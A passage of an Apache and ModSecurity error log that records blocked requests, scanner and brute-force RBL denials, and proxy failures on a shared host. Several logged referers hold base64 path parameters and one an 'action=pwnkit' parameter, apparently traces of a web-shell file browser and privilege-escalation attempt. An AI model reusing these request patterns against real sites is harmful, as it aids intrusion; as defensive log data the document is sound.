[access_compat:error] [pid 715691:tid 715740] [remote 57.141.14.89:59160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:34.386520 2026] [access_compat:error] [pid 715691:tid 715740] [remote 57.141.14.89:59160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:34.518701 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:34.518965 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:34.612164 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.76:24837] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:34.612559 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.76:24837] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:34.872453 2026] [security2:error] [pid 715691:tid 715828] [remote 52.167.144.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hrV-dFiaX9AtWiQllgABKnU"] [Sat Jun 13 18:23:34.914055 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.82:31950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:34.914493 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.82:31950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:34.980882 2026] [security2:error] [pid 715691:tid 715782] [remote 52.167.144.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hrV-dFiaX9AtWiQlngABgUc"] [Sat Jun 13 18:23:35.054681 2026] [access_compat:error] [pid 715691:tid 715838] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:35.055131 2026] [access_compat:error] [pid 715691:tid 715838] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:35.061456 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:23:35.061844 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:23:35.075763 2026] [security2:error] [pid 715691:tid 715776] [remote 52.167.144.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30h7V-dFiaX9AtWiQlogABOUE"] [Sat Jun 13 18:23:35.134200 2026] [access_compat:error] [pid 715691:tid 715717] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=pwnkit&p=Ly92YXIvbWFpbA%3D%3D [Sat Jun 13 18:23:35.134646 2026] [access_compat:error] [pid 715691:tid 715717] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=pwnkit&p=Ly92YXIvbWFpbA%3D%3D [Sat Jun 13 18:23:35.141369 2026] [security2:error] [pid 715691:tid 715861] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/bug36306.phpt"] [unique_id "ai30h7V-dFiaX9AtWiQlqAAAAR4"] [Sat Jun 13 18:23:35.171391 2026] [security2:error] [pid 715691:tid 715712] [remote 52.167.144.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30h7V-dFiaX9AtWiQlqwABUQI"] [Sat Jun 13 18:23:35.355081 2026] [proxy:error] [pid 646876:tid 647057] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:35.355197 2026] [proxy_http:error] [pid 646876:tid 647057] [client 185.247.137.15:48551] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:23:35.356799 2026] [proxy:error] [pid 646876:tid 647057] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:35.356866 2026] [proxy_http:error] [pid 646876:tid 647057] [client 185.247.137.15:48551] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:23:35.372499 2026] [security2:error] [pid 715691:tid 715738] [remote 17.246.15.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30h7V-dFiaX9AtWiQltAABJxw"] [Sat Jun 13 18:23:35.605792 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:23:35.606086 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:23:35.630240 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.75:64346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:35.630512 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.75:64346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:35.652882 2026] [security2:error] [pid 715691:tid 715815] [remote 145.239.79.139:33912] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yoozu.fr"] [uri "/wp-login.php"] [unique_id "ai30h7V-dFiaX9AtWiQlvAABemg"] [Sat Jun 13 18:23:35.686993 2026] [security2:error] [pid 715691:tid 715783] [remote 17.246.15.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30h7V-dFiaX9AtWiQlvQABCkg"] [Sat Jun 13 18:23:35.733059 2026] [access_compat:error] [pid 715691:tid 715811] [remote 57.141.14.37:48552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:35.733337 2026] [access_compat:error] [pid 715691:tid 715811] [remote 57.141.14.37:48552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:35.828525 2026] [security2:error] [pid 715691:tid 715827] [remote 145.239.79.139:33912] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yoozu.fr"] [uri "/wp-login.php"] [unique_id "ai30h7V-dFiaX9AtWiQlxAABTHQ"], referer: https://yoozu.fr/wp-login.php [Sat Jun 13 18:23:36.085100 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.91:46098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:36.085535 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.91:46098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:36.154973 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:23:36.155421 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:23:36.441206 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.59:54911] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:36.441627 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.59:54911] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:36.487933 2026] [security2:error] [pid 646876:tid 646911] [remote 17.22.245.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30iNyTkdrNlD40tSHTiwAALiA"] [Sat Jun 13 18:23:36.731973 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:23:36.732262 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:23:36.848076 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.29:60445] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:36.848531 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.29:60445] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:37.063064 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.109:23128] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:37.063336 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.109:23128] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:37.215976 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:23:37.216392 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:23:37.302239 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.74:26090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:37.302498 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.74:26090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:37.492995 2026] [security2:error] [pid 715691:tid 715773] [remote 17.22.245.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ibV-dFiaX9AtWiQmAgABVj4"] [Sat Jun 13 18:23:37.692954 2026] [security2:error] [pid 715691:tid 715748] [remote 17.246.19.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ibV-dFiaX9AtWiQmDAABECY"] [Sat Jun 13 18:23:37.806164 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:23:37.806620 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:23:37.810599 2026] [access_compat:error] [pid 646876:tid 646924] [remote 